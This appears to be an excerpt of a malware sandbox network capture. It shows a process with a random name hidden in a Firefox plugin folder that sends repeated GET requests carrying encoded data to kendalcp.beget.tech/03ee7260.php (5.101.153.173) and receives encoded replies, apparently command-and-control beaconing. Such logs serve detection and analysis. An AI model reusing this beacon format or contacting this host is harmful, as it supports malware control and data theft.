Nov 7, 2024 21:14:21.293764114 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:14:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50036	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:14:26.314162970 CET	2161	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech
Nov 7, 2024 21:14:27.369148016 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:14:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50037	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:14:32.391834021 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:14:33.346585989 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:14:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50038	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:14:38.360981941 CET	2134	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=d1nIiojI5QzYhZWNwQ2YllTOyczNmJzNwUGZ2YDNhRDMxYWNxAjIsISMmNGOlBzNmNWYwMzNmJDN0QzYxQTZiZTZ0UzYiljM0UDNhdzNmlzNiojImZWZ4IWZ4ImZyUDOwEDNmV2NiFmZ3EDOkVWM0cDMwQjIsICN2QjNlJWZjVGN2IDNwUDNiBzNjNzN0YWO1QmNhZ2M1gTZycjMmhjNiojI5YGMxMGMmdjY1UjMiFTNhFDN3cDOiZTO0YWM3YzNkZjI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMl2YtJGcChlWshnMVl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSplkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZ [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech
Nov 7, 2024 21:14:39.303500891 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:14:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50039	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:14:44.329365015 CET	2161	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech
Nov 7, 2024 21:14:45.290420055 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:14:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50040	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:14:50.297947884 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:14:51.316184044 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:14:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50041	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:14:56.329643965 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:14:57.280073881 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:14:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50042	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:15:02.317473888 CET	2161	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech
Nov 7, 2024 21:15:03.426446915 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:15:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50043	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:15:08.438582897 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:15:09.460911036 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:15:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50044	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
